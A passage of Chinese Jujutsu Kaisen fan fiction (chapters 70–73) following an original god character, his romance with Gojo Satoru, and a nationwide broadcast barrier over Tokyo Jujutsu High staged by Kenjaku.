九十九到底是有追求的人,当场签了入职合同,变成了九十九部长,白川琉世相当感动,也当场抓了个靠谱的属下给她,声称此人有丰富的工作经验,能协助她在行政方面的工作。 九十九瞥了一眼脸色厌倦的七海,心想还真是,这人浑身上下写满了靠谱。 上班第一天,由白川的秘书为他们交代工作。 九十九需要每天出几个特级任务,剩下两个小时熟悉部门工作,视情况而定加不加班。七海几乎是全权负责部门日常事务,看样子他反而更像主要负责人。 “那些都是借口,白川把我骗来,是想让我为五条悟减轻负担吧。”九十九由基冷漠地说。 不管是工作能力还是科研头脑,没有非要把她拉过进的必要。她唯一特殊的地方,是特级咒术师的身份。 很多只有五条悟能做,别人不能代劳的危险任务,对九十九由基而言不在话下。 “什麽?竟然是这样吗?”五条葵捂着胸口,眼睛亮晶晶的,白川先生竟然体贴到这种程度,一会一定要和姐姐分享。 “你也是五条家的吗?五条悟的亲戚?你是几级咒术师?”九十九由基看到了五条葵的胸牌。 五条葵耻辱回答:“……四级。” “哈哈,没关系,每个人都有擅长的东西。”九十九马上转移话题,“不就是任务吗?反正一天只工作八个小时,做就做。” 而且,到时候科咒部出来研究成果,她就不用继续忙碌了,日子有盼头,又不是上一辈子班。白川都为了研究爬到副总监了,她适当配合一把,也算够意思。 她答应的很爽快,旁边的七海一阵无声的冷笑。 太天真了,这个特级一看就没上过班。上司的大饼 也能随便信吗?都说出视情况而定加不加班的话了,那加班的存在就是必然的。 比做咒术师还无聊的工作出现了,七海面无表情地想,那就是做在总监部上班的咒术师。 …… “你不会把九十九由基累死吧?” “你也知道你之前的工作强度会把人累死?” “今天是阴阳怪气、滥用职权的烂橘子人设?” “你和她轮着来,今天你比较轻松,真的不再睡一会吗?” “不了,最近睡太多了,好无聊。”五条悟从抽屉里抓了一把糖,踏着拖鞋懒洋洋地走到门口,说要回家一趟。 今天他奇异般的什麽事也没有,学生放暑假,没有任务,和总监部需要商谈的事情都由白川琉世代劳,只剩下家里的事需要时不时过问。 咒术界还是那个咒术界没错,怎麽有种提前退休的感觉。 “不会因为没有存在感,觉得失落了吧?” 白川琉世偶尔也有刻薄的时候,当然,代价就是一颗圆滚滚的糖砸在了肩上。 “今天是甜蜜的惩罚吗?”他捡起糖果。 五条悟正拿出眼罩准备戴上,警告又饶有兴致地瞥了他一眼,“这麽期待惩罚?那……先罚你吃掉它。” 白川琉世不喜欢吃甜的东西,恰恰相反,他是百分百的咸党,对甜的耐受度极低。 但是,悟都说话了。 那颗糖被撕开包装纸,塞进嘴里,运气很差,是在糖里也甜度爆表的奶糖。 那副被甜到面露难色,牙齿夹着糖不敢让它落在舌头上的样子取悦了五条悟,青年戴上眼罩,捂住小腹笑得毫无形象,大声控诉世界上怎麽会有讨厌吃糖的人。 “也不是那麽讨厌,”白川琉世努力嚼着糖,“如果换种吃法的话……” 接吻的时候来一颗,谁都不会讨厌的,对吧? 五条悟:“真是越来越肮脏了,琉世。” 不知道是为自己秒懂而悲哀,还是对说出这种话的白川琉世悲哀。 没打算每次都惯着男友,他利落地走了出去,关门前,挑衅地笑着,“不过,如果哪天五条大人有兴致,或许会奖励你哦。” 咔哒。 门被合上,白川琉世喝了几口水,冲淡嘴里的甜味。手伸进抽屉,往里一掏。 色彩缤纷的糖果哗啦啦掉出来一些,一个蓝丝绒小盒从糖果堆最里面被拿出来。 盒子只有手心大小,咔哒,按开机关,盖子弹起。 一段深邃浓郁的湖泊躺在铂金戒托上,闻名遐迩的克什米尔蓝宝石,被奢侈地做成内嵌的款式,围成环状,只露出一点微不可见的戒托边。 一对戒指,用料共约6克拉,戒面完全被内嵌式的宝石铺满,触手平滑,摸起来和素戒一模一样。 不影响出手。 这是他特意定做的,花了由禅院家赞助的3亿日元。 说到底,也有禅院直哉之前卖情报给五条悟的原因。儿子不懂事,但当爹的相当明白,不久前偶尔知道他要定做戒指,让那1.5亿找了个别的原因流到了他手里,还额外又追加了一倍的数目。 相当于赔罪了。 这对戒指非常漂亮,几乎穷尽人的形容词汇,深邃剔透,光华流转,戴在手上像握住一段静静的、流动的海,让人移不开视线。 他把盒子盖上,放回抽屉里。 他从不吃糖,办公室的糖都是给悟准备的,恋人的手无数次伸进抽屉,有时拿一颗糖,有时会抓一把,每次白川琉世都会提一下心。 悟会发现吗? 获得悟家庭的承认,然后求婚,本来是这麽想的。 但是,作为获得承认的恋人,作为男友,这样生活是不是就足够了? 悟会觉得足够了吗? 婚姻。这两个字咂在舌尖都有种沉重的、神圣的感觉。 “……” 一只手重新伸进抽屉,停顿了一下,拿起戒盒,放进了上衣口袋。 第70章 味熏到我了 寻常的一天,天气炎热,室内气温高达三十多度,灵幻新隆想要打开里面房间的门,让冷气流进去一点。 不能怠慢客人。 推开门,邪灵少见的一副人类的形态,黑色半长发,绿色西装外套,真的像鬼一样阴郁。 而今天拜访的客人正坐在椅子上,姿态自然,头微微低着,似乎是睡着了。 客人脸很年轻,看气质却让人猜不出年龄,闭着的眼睛下方,是两道线条利落的金色纹路。 从快到眼尾的地方开始,深深划入黑发。 是来过几次的白川先生。 “别进来,灵幻。” “我已经进来了。” 灵幻新隆十分无语,他不确定地问,“你又害人了?” “啊?我?”最上指向自己,“我害黄泉津?” 看着灵幻身为普通人类无知的脸,最上涌起更为强烈的无语。 “神神叨叨的,不知道你在说什麽。”灵幻上前去想拍醒白川琉世,“白川先生,在窗边睡会中暑……” 最上马上拉住了他。 “不要管他。”邪灵露出烦躁的表情,“偷窥狂,控制狂,阴湿鬼,谈个恋爱所有人都要陪跑的自我为中心的家夥——” “什麽?你哪来这麽多牢骚。”灵幻相当不解,想起拜访时白川礼貌又不失热情的态度,“你对别人的偏见好大。” 最上的白眼真要翻不动了。 从冬天开始纠缠到夏天,完全成长为神明的男人,每次找最上只有一件事,要最上把十年前让五条悟体验的经历,再完全复刻给他。 真是恶心。 一开始,白川琉世再度出现并没有让最上有多惊讶,神明成长到什麽程度都不值得惊讶,但白川琉世竟然道破了他能预知未来的能力。 [“没什麽好奇怪的,因为我是最上启示。”]正如白川琉世是唯一觉醒自我意识的神,最上启示也是特殊的交叉世界承载者。 [“这种中二的名字竟然不是随便起的。不过,这都无所谓。 你为什麽要拿那些垃圾记忆污染我男友的大脑?”] [“你有病吧?你是神我也想骂你了,摸着良心说,那时候他是你男友吗?”] 不管是不是,那时候两个人就黏糊的让最上恶心了。白川琉世把他扔进黄泉津比良坂修理了一顿,下手不轻不重,又让最上想起神明的温柔和分寸感,差点烦躁的想骂人。 出完气本来该走了,他继续做邪灵,神继续谈他的狗血恋爱,但谁能想到神竟然是走纯爱路线的呢? [“把你让悟经历的事情,让我体验一遍。”] [“做不到,我没办法操纵你,你别忘了你是谁,我是谁。”] [“我说可以就可以,你先试试。”] [“能不能别这麽恶心,味熏到我了。”] [“最上启示。”] [“……行吧。”] 无法违抗神明,最上尝试了好几次,都没办法在神的灵魂里操纵什麽。白川琉世也明白他的局限,最终选取了折中的办法。 由最上把那些东西复刻成记忆,投入白川琉世的脑海。这样神明可以用上帝视角,观看发生的一切。 无法在物理上感同身受,但…可以看到。 …… …… 因为观看记忆积攒的怒火消退,他睁开眼,看到最上正和灵幻嘀嘀咕咕,因为心情超好,所以毫不在乎场合地开口。 “你怎麽能问我那个超级坚定、超级自信、不管实力还是情感都超级强大的恋人这种问题呢?怎麽可能会给你别的答案啊。” 最上:“???” 灵幻:“你还好吧最上,脸色好差。” 最上:“我是真的想吐。” 白川琉世十指交叉,盯着自己的手出神。悟选择的道路,是他正在横冲直撞走着的道路。为什麽他想要做的事情,总能在悟身上找到启示。 这样的话,怎麽舍得与你有哪怕一点距离呢? 他的恋人强大善良,率真可爱,闪闪发光,什麽事都已经做到很好了,把大家也照顾的很妥当。但是,有些事必须要扎进扭曲腐烂的根系,在黑暗和脏污里,耐着性子斩断、清理、重塑。 [我能做到,我们简直天生一对。] 最上不礼貌的言辞令灵幻感到丢人,他礼貌性地劝阻,“不要评价别人的恋情。” 最上:“因为真的挺恶心的,他们俩对对方的滤镜都太厚了。打不打赌,这个人心里肯定在想,他和他恋人真是天生一对之类的话。” 白川琉世难得对最上又仁慈了一把,“不用赌,你赢了。” 灵幻也有些好奇,白川先生这样的人,会有什麽样的恋人呢?看起来感情很好啊。 这麽想着,他也同样问出口了。 “其实你见过。”白川琉世忽然卖了个关子,悟说过他找最上的时候,见过灵幻相谈所的其他人。 “确实。”最上相当邪恶地配合了起来,“虽然挺不想说的,但是不得不承认,外形很优秀。” “优秀?完美!”白川琉世兴致超好,金色的瞳流淌着痴迷到醉人的神色。 “啊对对对,”最上嗤笑一声,“那双眼睛确实也没别人了,还是出身豪门呢。”他想奚落一句[您配的上吗],话到嘴边觉得有点危险,硬生生忍住了。 灵幻很震惊,无论如何都没法把他俩谈话中的形象与记忆里任何一个人对得上号。 “我真的见过吗?外形漂亮的豪门大小姐,如果见过绝对有印象啊。” 两人都恶劣地笑起来。 白川琉世还算克制,很快收敛笑意,打开手机查看消息。每天都有需要处理的要紧事,不时打开手机看一下已经成为他的习惯。 工作上没有新消息。 倒是一个没想的名字,带着好几条消息跳了出来。 …… 日本TV朝月成立于1957年,是有名的商业电视台,在国际、时事新闻方面很有影响力。朝月电视台东京部的某间办公室里,格子间把宽阔的办公局域分割成小块,里面填满了身着正装,忙碌的新闻从业者。 记者主任前田哲也像往常那样处理工作,今天好几个记者出外勤,他要持续跟进此事。不过,看到聊天软件跳出某人的消息时,这个温吞斯文,在职场浑水摸鱼二十年的老社畜,也不由眼角一跳。 松岛那个刺头,今天不会又出岔子了吧。 [松岛:图片] [松岛:主任,抱歉,我碰到了更有采访价值的事。] 前田难免一阵烦恼往上涌,松岛优奈这半年来实在让人不省心。 招进来的时候是优秀东大毕业生,从小到大履历闪耀,不仅如此,长得也漂亮,这在记者中是加分项。一开始,松岛不负期待,兢兢业业地适应环境,但自从半年前出了车祸,住了一段时间的院,她性格就变了很多。 没那麽礼貌了,前辈说什麽也不全听了,自己主意越来越大,前段时间还放着大好前途的新闻记者不做,想转去做灵异栏目。 以前怎样倒无所谓,像这种中途改变工作目标的情况,还是第一次。 [前田:这样不行,松岛,采访目标不能轻易改变,我怎麽向编集长交代。] [松岛:先请您看一下,主任。] 前田耐着性子放大图片,照片里,很多穿着一样白色袍子的人,站在似乎是山脚的地方,每个人的表情都很狂热,甚至带点癫狂。 这是……?! 他犹豫了一下,本来松岛应该去采访一个校园霸淩事件,但照片里的情况确实如松岛所说,更有价值。 照片里的人穿的那种衣服……,是宗教份子?进行非法集会? [前田:你已经进行过接洽了?他们是非法的吗?] [松岛:没有接洽,您也看到了,他们神态不对。] [前田:我先请示一下小林编集长。] 前田嗅到了大新闻的气味,不再执意阻拦松岛。 [前田:不要冲动,松岛,注意不要为台里带来不好的影响。] 松岛优奈才不会等流程下来,她合上手机,和摄影一起在樱井公园下了车。 前面车开不上去,司机留在了原地。公园旁的路附近还有条小路,那群浩浩荡荡的白袍人士刚才已经经过小路了。 粗略估计,有三百人以上。 “我们真的要过去吗?松岛小姐。”摄像犹豫地说,“如果编集长不同意……,还是现在过去学校那边吧。” “小林编集长会同意的。”松岛优奈笃定地说,“担心的话,你不用跟过去了。” 就是因为知道小林沙耶一定会同意,她才做出这样的决定。 半年前,她所遭受的根本不是车祸,而是咒灵的残忍虐待,被改造成怪物的样子,连自尽的权利都被剥夺。 无尽的折磨近乎摧毁了她的精神。 同样,那批被改造的人类中,也有松岛的上司,朝月电视台编集长小林沙耶的女儿亚美。 那个小女孩才5岁,被修复身体后,精神遭到了严重创伤,至今仍住在精神病院。 小林的痛苦不比松岛轻多少,因此,出于同理心,帮助松岛在台里营造遭遇车祸的假象,同样,在松岛有意无意调查咒术界的时候,利用职权为她打掩护。 [“我想当面感谢帮助亚美的人,优奈,我知道你能联系到他。”] [“我知道你的感觉,沙耶姐,我的感觉也是一样,但卡密不会接受的,最好不要打扰他。”] 那个温暖、可靠到让人想哭的神明,有着特殊的身份,根本不稀罕她们毫无作用的回报。相反,被修复的一些改造人精神严重受创,好多人不能恢复正常生活,接受治疗的费用也由那个特殊的机构一直支付。 作为受到帮助的被害者,不去打扰他的生活,只是默默感激着,应该是最好的选择。 但人怎麽能控制住自己的心呢?松岛优奈从咒术总监部的大门出来,回到现实世界,怎麽能察觉不到咒术界的存在呢? 东京都立咒术高等专门学校。 咒术。 在这座山上的那所学校,要遇到麻烦了。【你现在阅读的是 】 70-80 第71章 一亿多日本人的目光笼罩高专上方 2018年7月10日,15:53分。 这是松岛优奈给他发消息的时间。 白川琉世在一分钟内从灵幻相谈所消失,同一时间,出现在一座常规型轿车的后座。 他身材高大,跌落在座位上时束手束脚,紧紧贴着旁边的另一个人。因为距离太近,白川琉世自然地拥抱住了他。 “抱歉,悟,得加会班了。” 五条悟被一双手臂环住上身,紧贴着恋人的胸口。琉世表情比平时严肃,出事了。 “加班?我今天还没开工呢。”似乎预料到了什麽,五条悟拽下眼罩,“是羂索?” 他最近正好超级——无聊。 苍蓝眼眸因为终于发现了有意思的事,再加上对羂索的怒火,洇着几分略带兴奋的疯感。 “是羂索。”白川琉世松开恋人,盯着他的眼睛,“别玩太过了,悟。” 最近是不是真的把悟憋坏了,事情太少也会无聊吧。 “赶时间,先不多说了。”他握紧五条悟的手,想要发送到高专附近,具体事情等到了再交代,手却被恋人猛地一扯。 “琉世。” “嗯?你还有别的事——?” 司机猛地踩了刹车,今天开车的不是伊地知,不,这不是重点。 街道上接二连三响起猛踩刹车的刺耳声音,这在高速上是绝不被允许的,砰——远处传来剧烈撞击声,连环刹车下,有两辆车撞在了一起。 “悟?”白川琉世第一时间看向恋人。 震惊的情绪从四面八方集束到这座轿车里,所有人的情绪好像他杀了宿傩那晚一样趋同,就连悟也有一瞬间的惊讶。 司机倒抽一口气,喃喃自语,“……天黑了,不,那是帐?” 有什麽东西?白川琉世皱眉。他明明对世间大部分事物掌控自如,此时却察觉不出来任何不对。 空气中无咒力波动,也没有灵力或者乱七八糟的其他力量干扰,一切都和平常一样,到底发生了什麽意外?或许六眼能看出来。 五条悟向外瞥了几眼其他车辆中的人,每个都惊慌失措,好像看到了什麽不可名状之物,他还有心情笑了一下,“这下好了,琉世,羂索真是看重你。” 他指了指车窗外的天,“你看不到那个好像超远,却笼罩在所有人眼前的帐吧。” 还挺三维立体的,五条悟想,不知道是他六眼才能看到的特殊效果,还是在所有人眼里都一样。漆黑的帐蒙上天空,漫无边际,瞬间还以为那层黑色能包裹整个世界。 同时,眼前也好像看3D电影一样,浮现出大片影像。 那地方五条悟非常熟悉。 是他度过青春,后来又执教的地方。 …… 浪速大学附属医院,心理科二诊室。 高桥和树近半年来,每周都要在同事那话聊一下。 同事黑泽是他的同期,也是那天同去咒术总监部的人员之一。不同的是,高桥作为负责人,直面了白川打开黄泉津比良坂的景象。 这对他造成了很大的心理压力。 向黑泽倾诉,一来不涉及违反保密条例,二来黑泽似乎对咒术界也有疑惑。每周二下午他们都会互相做心理咨询,半年来他感到压力减轻,不久后应该就能结束咨询了。 只是有一点,不管他怎麽说,黑泽都不相信撕裂空间之类的话。 “下班之后要不要喝一杯?”黑泽询问道。 高桥点点头,然后猛地僵在原地,本来颇具松弛感的黑泽反应比他更大,直接从椅子上站了起来,往后一退。 窗外,遮天蔽日的半透明黑色纱幔过滤了阳光,目光所及之处全都暗了一个色调。 但两人第一时间没注意到这个。 “你看到了吗?黑泽?” “看到了,你也……?” 两人距离两步远,目光相交,视线却没落在对方身上。高桥看到眼前的空间忽然出现了一些略微透明的虚影。 环境似乎是在山上?造型古老的山门,前面站着密密麻麻的,穿着同样款式白袍的身影。 “东京都立咒术高等专门学校。”黑泽嘴替一样,慢慢念出山门上挂着的字。 像全息电影,高桥想,他试着转换视角,竟然真的可以做到。只是不知道为什麽,山门内,那座学校内部的设施能一览无余,向外看却只能看到黑色的壁。高桥试着不停转换视角,然后得出结论,这座学校被黑色的东西遮住了四周,他看不到学校以外的场景。 “咒术……”高桥喃喃自语,和黑泽对视一眼,两人都预料到风雨欲来的前兆。 [现在进行全院播报:请各位医护人员、患者不要惊慌,请医生继续自己的工作,请各科室酌情抽调医生前往手术室外等候,做好手术中的医护人员因惊慌产生失误的补救准备……] 广播的女声也略显慌乱,高桥打开心理诊室的门,走廊中已经乱起来了,候诊的患者纷纷交流,“那是什麽?我的病情是不是又加重了?”“是一群白袍子的人?我也能看见。”“为什麽我能看到这种东西?医生!医生!快救救我!” 有人捂住嘴哭起来,也有很小的孩子的笑声,医生和护士都奔到走廊里,慌乱地交换着情报,无心维护医疗秩序。这也不怪他们,高桥想,这种场景太匪夷所思了。 就连对咒术界提前知道些什麽的他,都无法理解那些出现的画面。 …… 前田一边夹着手机,一边猛敲小林沙耶办公室的门。他一边回应手机里的话,一边不管不顾地大喊,“编集长,我先进来了!” 小林沙耶比他更忙,座机手机一边一个,应了左边应右边。她作为中层,比前田的职责更大。 “好几个节目的直播都出现事故,主持人看到那种景象没办法正常工作……” “这不重要前田,没人在乎那个了!”小林抽空高声回应他,“现在立刻停止你负责的所有工作,局长已经下达命令了,就算开天窗也好,台里什麽敏感的东西也不要播,不行就播多啦O梦!” 小林沙耶三十多岁,是个短发的干练女人,她不仅要应付高层的命令,还要关注虚影的动态,就算如此也分了一点注意给前田,“没什麽事做的话,去安抚员工的情绪吧,我们要相信上边会解决这件事。” 她叹了口气,看到前田退出去,外面的大办公室喧闹声能把屋顶掀翻,现在应该到处都乱套了。 她快速打开记者俱乐部的群,那是媒体人士采编新闻的“消息物流中心”,同时,打开几个权威官媒和几大社交平台的网站,不停刷新着消息。 记者俱乐部的消息最快,首先是全国各地忽然频发的交通事故,几地发生踩踏事故,几处铁路、航空紧急停运,没有哪里的消息比这儿还要快,媒体也需要先从这获取消息,再前往采访,撰写通稿。 政府的态度是什麽?小林沙耶最关注这个问题,等政府出通稿太慢了,只能等到事件结束。 咒术界的存在对她和松岛来说不是秘密,但普通人根本不清楚。政府还会强行压下去吗?不可能吧?根据出现事故的范围……,搞不好全日本人都看到那些虚影了。 只是全日本吗?会不会涉及到国外?而且,那些虚影是咒术界出了什麽事故?那种非人的恐怖力量……,他们所有人还会有明天吗? 小林沙耶浑身发寒,一边打电话给女儿住的病院,一边点开Tw和In,以及曾经很火的日本本土论坛J-Talk。 Tw和In变得异常卡,J-Talk直接瘫痪了。小林先刷新出Tw的消息,相当多的人表明自己看到了天空黑色的屏障,和就算闭上眼睛也摆脱不掉的全息立体虚幻场景。 [我一开始还以为我疯了,如果大家都疯了,那就没那麽担忧了。] [碰不到那些东西,但能自己调整视角找角度,还能拉进拉远视角,很像玩游戏。我让女朋友关注那些白袍npc的动向,自己去推着视角探索学校。] 还有这麽有闲情逸致的人?小林沙耶嘴角抽搐。 [只有在日本的人能看到吗?我在美国读书,就看不到你们说的那些,但在国内的父母亲戚全都看到了。] [那座学校的前缀是东京都立,应该就是在东京郊区的山上,有人在那附近吗?] [那些白袍人到底想干什麽?这个世界只是个游戏?现在终于要推剧情了?世界要毁灭了?] [那也不能只毁灭我们日本人吧?离谱!] 电话通了,小林迫切地想知道女儿的消息,害怕女儿的精神因此再受伤害。但下一秒,虚影中终于出现的变动,让她忘了接下来要说的话。 站在原地,真如虚假的npc一样的大片白袍人,之前一直毫无声响,连交头接耳都没有,每个人都带着兴奋、愉快和有些癫狂的表情。 他们中间,唯有一个人服装与众不同,穿着黑衣,外面披着颜色鲜艳的袈裟,低垂着头,看不清表情。他身边站着一个人,也是白袍,普通中年男人的样子,然而这两人站的和其他人有一点距离,所有观看影像的人很轻易就把他们和他者区分开来。 如果真如网友所说,这是一段需要推动的“剧情”,这两个人明显是推动剧情的关键角色。 袈裟男动了,率先向里面走去,白袍人纷纷跟随,无数日本人也主动调整视线,跟随他们的脚步,想要一探究竟。 一亿多日本人的目光,带着好奇、恐惧、兴奋,凝聚在浩浩荡荡的人群中,笼罩在东京高专上方。 第72章 一级警备状态,但直播 [他们不说话,到底要干什麽?要去哪里?] [我大致看了遍学校的布局,有教学楼、宿舍楼两栋,还有操场、树林和一些闲置的建筑,不知道是仓库还是做什麽的,锁着的地方视线进不去。] [楼道和走廊能进去,没上锁。] [宿舍楼大部分房间是空着的,我找到有人名的房间了!] 这次是J-Talk,在瘫痪了一会后,这个有些落伍的论坛重新运转了。 夜蛾正道紧紧握着手机,刚刚打了五条悟的电话,那边正占线,想必联系悟的人很多,也用不着他特意打过去。 他坐在车里,旁边是家入硝子,出了那样的变故,夜蛾把车停在路边,又马上打了白川琉世的电话。 同样占线。 也正常,这时候他俩的手机应该被打爆了。 “不幸中的万幸,你不住在高专了。” 半年前,高专方听从白川琉世的建议,转移了家入硝子的住处。 家入没什麽表情,看着虚影里带领白袍人士的高中男同学,思考了一会。 “学校里现在没有别人了吧?” “没有了。”夜蛾仔细回想了一下,“本来还有名忌库管理人员,今天也刚好外出。” 家入:“那些人是盘星教的。” 夜蛾皱眉:“很明显,看来他们谋划很久了。” 家入没有了反应,目前没有别的消息来源,夜蛾又刷起了论坛,另一边,总监部的邮件也发了出来,发件人是七海。 [请正在任务的咒术师继续完成任务。总监部正介入本次事件的调查,请所有咒术师继续保持缄默原则,直到收到下一步指示,谢谢配合。] 琉世和悟肯定开始着手解决这件事了,七海的反应也很快,学生一个个都很优秀,夜蛾也在沉重的氛围中难得感到了一丝欣慰。 只是…… 他看着曾经同样是自己得意学生的夏油杰,叹了口气。 …… “我知道了,葵,把通话录音打开……,好。我是白川琉世,本次事件特殊,我和五条悟会着手解决此事。在此期间,咒术总监部有关此事的所有决议,包括与政·府的接洽,由七海建人负责。 另外,传达我的指示,任何咒术师不得靠近东京咒术高专,与政·府做好交涉,要求他们尽可能疏散人群,不允许任何普通人、军队、警察靠近这里。不要求封锁媒体,但咒术师不得参与有关咒术界的讨论,以总监部和政。府的发声为准。所有咒术师照常继续任务,直到收到下一步指示。 咒术界进入一级警备状态,总监部所有人、各个咒术家族、全体咒术师,必须全力配合,如有违背,事后从重处罚。” 松岛优奈紧紧提着一口气,双眸颤动地看着打电话的白川琉世。 那层帐就在他们眼前,呈倒扣的碗状把高专整个遮住。不似寻常帐那样半透明,这层帐一点不透,是纯粹的黑。 “觉得很帅气吗?”一双眼睛映入眼帘,松岛优奈好像迎面撞入夏日阳光下璀璨的海。 论帅气的话,你也不差啊。或许太紧张,她忍不住笑了。“倒也不是样貌的原因,卡密让人觉得很可靠。” “可靠的过头了。”语气听起来是在抱怨,但只有亲密的人之间才会用这种口气评价。 松岛眨眨眼,视线落在两人牵着的手上,卡密一边打电话,表情很严肃,似乎没分心给周围的环境,牵着白发青年时,却一直用大拇指摩擦对方的手指,那是下意识安抚的动作。 原来是卡密的恋人。 为什麽没有一点点违和感或者落差感呢。 卡密在她心里,是所有人无法染指的、纯粹的神明,她难以想象神明会和任何人成为恋人。 但是,神既然拥有人类的身份,拥有恋人也不是令人惊讶的事吧? 他们怎麽…怎麽这麽相配啊?不管是身高,外形,帅气的脸,还是让人惊叹不已的眼睛,全都让人挑不出一点不和谐的地方。 那双不似人间存在的蓝眼睛硬控了松岛优奈半天,每次看到都会失神好久,她惊讶地发现这个世界对卡密是仁慈的,能有这样的恋人绝对是上天精心安排的奇迹。 天呐,原谅这个恶心的世界一分钟。 等白川琉世挂了电话,松岛优奈马上道歉,说自己太冒失,擅自跑到这种地方。 “也不用这麽客气,谢谢你想起来通知我。” “您这麽安慰我,才让我更难为情啊。”松岛无奈地笑,本来抱着想要帮忙的心,但现在她的一手消息被全日本直播,她本人的存在也显得超级尴尬。 “别的事以后再说,今天也很不巧,有要忙的事。”白川琉世按住她的肩膀,“你不能待在这里,我先送你离开。” 一时间不知道要把松岛送到哪,白川琉世干脆把她扔在了自己办公室,然后马上离开。只留莫名其妙“诶?”了一声的松岛,和吓了 一跳,马上反应过来的五条葵。 “白川先生又不打招呼地往这送人了。”五条葵拍了拍胸口,自己boss送来的人,肯定不是危险分子,而且,刚刚肯定和白川先生在一起。“请问,你刚刚看到悟大人了吗?就是白色头发,带着眼罩那个。或者蓝色眼睛,眼睛超级好看那个。” “看到了。”松岛马上明白了她说的是谁。 “太好了,我得马上告诉彻大人。”五条葵喃喃自语,她现在忙的也快裂开了,一边给家里通气,一边把白川琉世的说话录音发到群里,抽空还得观察着网上的消息,“我是五条葵,白川先生的秘书。”她也好奇被送过来的人的身份,“您是……?” “松岛优奈,一个无足轻重的路人。”松岛尴尬地笑,“被顺手搭救了,希望没有影响你的工作。” …… “你看不到,也进不去?”五条悟把手伸进帐内,来来回回晃动着手臂,“我反而能进去,哼,被小看了。” “当然不是小看你,羂索这次就不打算活着出来。”白川琉世看不到有帐存在,手掌往前推,也确实像按在了无下限上,无法前进半分。 “那我就进去杀了他。” 苍蓝眼眸冷冷地垂下,表情很认真。被惹恼了啊,悟。 “这次只能靠五条大人了。” 他轻轻吻了下恋人的嘴角,从刚才起,明显心情差劲,散发着低气压的五条悟总算柔和了一点。 “现在撒娇也没空理你了,琉世。”淡色的唇抿起,五条悟的眼中带着浓浓的杀意,“把那块脑花捏碎会很解压吧?等晚上回去,陪我玩《战O4》,发售之后我还没来得及……” 还没说完,就被白川琉世捂住了嘴。 “别说这种立flag的话。还有,《战O4》只有单人模式吧?” “你背着我偷偷玩了?”含糊的谴责在掌心响起。 “我只是看了下实况!” 他马上解释,又觉得在这种时候啰嗦一些有的没的不合时宜。大脑高速运转的时候,行为会自己查找补偿,做一些熟悉且放松的动作。白川琉世下意识又吻了五条悟的侧颊,轻轻一碰。 “去吧,悟,这次能在所有学生面前耍帅了。” “今天格外黏黏糊糊。”最强嗤笑。他面对羂索这件事让琉世感到紧张了,这麽一想心情更差了。 恋人不是对他不放心,但信任和担忧并不冲突,轻轻拍了拍琉世的脸颊,“轻轻松松。”最强的苍天之瞳高傲地向帐内一瞥,嘴角高高扬起,笑容让人胆寒,语气却相当温柔,“乖乖在外面等着吧,琉世。” …… “大家一定很好奇,这是怎麽回事吧?”一直和夏油杰并肩走的白袍中年男人,等带领众人停在忌库门口后,转身站定,双手伸出,满脸浮夸地开口。 1亿余人的视线让他兴奋地浑身颤抖,无法自控。 “公开交换条件,束缚效果会增强。因此——我在此宣布,你们看到的黑影是帐,你们看到的我们,是帐里的人,而为什麽你们都能看到? 那是因为这次帐成立的条件,以日本国土内所有人能看到帐,能自由出入帐为条件,交换白川琉世无法看到帐,无法出入帐!” 此言一出,全国哗然。 咒术界众人完全明白是什麽意思,五条葵按键盘的手停了下来,尖叫了一声“卑鄙无耻!”如果白川先生能进去,他们这群跳梁小丑一秒之内全都得跪下。 但是,为什麽只单单隔绝了白川先生?不把他们悟大人放在眼里吗?五条葵又生出了被冒犯的感觉。 * 古典的和室里,五条家众人紧急坐在会议室,以五条彻为首,每个人都面色凝重,凝视着面前的虚影。他们倒不是太过担心高专遇袭,而是此事一出,咒术界的存在就再也瞒不住了。 到时候,众人的恐惧将达到顶峰,无数人溢出的负面情绪将把咒灵的强度再提高一个级别,后续的场面实在难以应付。 “刚刚葵那边得来的消息,悟大人已经赶过去了。”一个中年男人看了眼手机,马上出声,“既然悟大人出手,这件事本身倒没什麽令人担忧的……” “总监部也发来邮件了。”另一个族内高层点开手机,把发件人七海发送来的邮件送到五条彻面前,“彻大人,这件事后,咒术界肯定要变天了,我们要不要提前做出表示?” 五条彻明白族里的意思。 就算这件事是悟解决的,随着咒术界的暴露,咒术总监部的身份也会变得特殊,影响力绝不会只占咒术界这一亩三分地了,对白川琉世的态度,要趁此机会赶快转变。这不仅仅是悟本人的感情问题,也是关乎五条家安危荣辱的抉择。 “联系总监部,说五条家愿意全力配合他们的决策。”五条彻宕机立断,“消息发的越快越好,悟那小子办事很快,别等事情解决了再表态,那就不妥当了。” 全日本都紧张的火急火燎的,只有五条家还算镇定,比起担心事态的发展,更担心五条悟解决的太快。自家人明白自家人,那是五条家对五条悟实力的极端自信,就算神罚降世,也不觉得五条悟扛不下来。 第73章 大家默契地不提他的名字 “赶快给白川先生打电话啊啊啊啊,这样说的话,全日本只有他一个人不知道情况了!” 虎杖悠仁和吉野顺平挤在沙发上,拿起手机就要拨号,却被吉野拦住了。 “卡密肯定没空接电话,现在的情况,也会有别人联系到他。” 虎杖悠仁冷静了一下,深吸一口气。今天他来吉野家玩,本来打算一起看一天电影,没想到看着看着眼前重影了,刚放暑假没几天,学校让人偷家了。 虎杖:“那万一没有人联系白川先生……” 吉野:“我也有这样的担忧,你发消息给白川先生,不要打电话,如果他有在忙的事,影响了他怎麽办。” 虎杖点点头,赞叹了声还是顺平细心,手忙脚乱地编辑短信。 最近半年,吉野顺平的状态正缓慢恢复,和别人交际的时候,只让人觉得是个性格内向的普通青少年。 在高专的人生过得十分幸福。吉野顺平死死盯着面目恶心到可憎的白袍人,深绿的眼睛燃着极端的恨意。老师是个怪人,但也是个好人,同学相处算不上太相熟,但也不会不愉快,这种平静的生活,如果被谁毁掉,他会用尽一生诅咒那个人。 特别是、他、竟然、敢、设计、卡密。 绝对、无法、原谅。 他就算堕落成恶鬼,重新坠入地狱,也绝对不会原谅企图伤害卡密的人。 “顺平!” 一声大喊让吉野顺平回过神来,同学中最热情的那个正双手掰着他的肩膀,满脸担忧地看着他,“别担心,就算白川先生不能进去,五条老师可是最强的。” * 整个咒术界都明白白川琉世这个名字的分量。那是总监部,乃至整个咒术界的话事人,实力深不可测,据说早就到达了特级。当然,这不是最重要的。 大量除了接任务,和总监部几乎没接触的咒术师也知道,自从白川掌权,咒术界关于任务量、任务难度和咒术师级别、擅长方面的匹配,医疗供给,新手咒术师保障,伤亡保险制度甚至心理梳理程序……全都得到了大幅度增强。 